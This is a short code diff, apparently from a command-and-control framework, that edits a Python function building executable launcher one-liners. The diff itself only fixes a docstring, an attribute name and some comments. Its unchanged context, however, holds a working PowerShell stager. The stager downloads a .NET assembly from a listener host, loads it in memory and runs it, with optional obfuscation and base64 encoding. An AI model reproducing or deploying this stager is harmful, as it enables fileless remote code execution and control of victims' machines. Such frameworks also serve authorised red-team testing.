@@ -188,30 +188,28 @@ def generate_exe_oneliner(
188188 self , language , obfuscate , obfuscation_command , encode , listener_name
189189 ):
190190 """
191- Generate a oneliner for a executable
191+ Generate an oneliner for an executable
192192 """
193193 listener = self .listener_service .get_active_listener_by_name (listener_name )
194194
195195 if getattr (listener , "parent_listener" , None ) is not None :
196196 hop = listener .options ["Name" ]["Value" ]
197197 while getattr (listener , "parent_listener" , None ) is not None :
198198 listener = self .listener_service .get_active_listener_by_name (
199- listener .parent_listener . name
199+ listener .parent_listener_name
200200 )
201201 else :
202202 hop = ""
203203 host = listener .options ["Host" ]["Value" ]
204204 launcher_front = listener .options ["Launcher" ]["Value" ]
205205
206- # Encoded launcher requires a sleep
207206 launcher = f"""
208207 $wc=New-Object System.Net.WebClient;
209208 $bytes=$wc.DownloadData("{ host } /download/{ language } /{ hop } ");
210209 $assembly=[Reflection.Assembly]::load($bytes);
211210 $assembly.GetType("Program").GetMethod("Main").Invoke($null, $null);
212211 """
213212
214- # Remove comments and make one line
215213 launcher = helpers .strip_powershell_comments (launcher )
216214 launcher = data_util .ps_convert_to_oneliner (launcher )
217215
@@ -220,12 +218,10 @@ def generate_exe_oneliner(
220218 launcher ,
221219 obfuscation_command = obfuscation_command ,
222220 )
223- # base64 encode the stager and return it
224221 if encode and (
225222 (not obfuscate ) or ("launcher" not in obfuscation_command .lower ())
226223 ):
227224 return helpers .powershell_launcher (launcher , launcher_front )
228- # otherwise return the case-randomized stager
229225 return launcher
230226
231227 def generate_go_exe_oneliner (
0 commit comments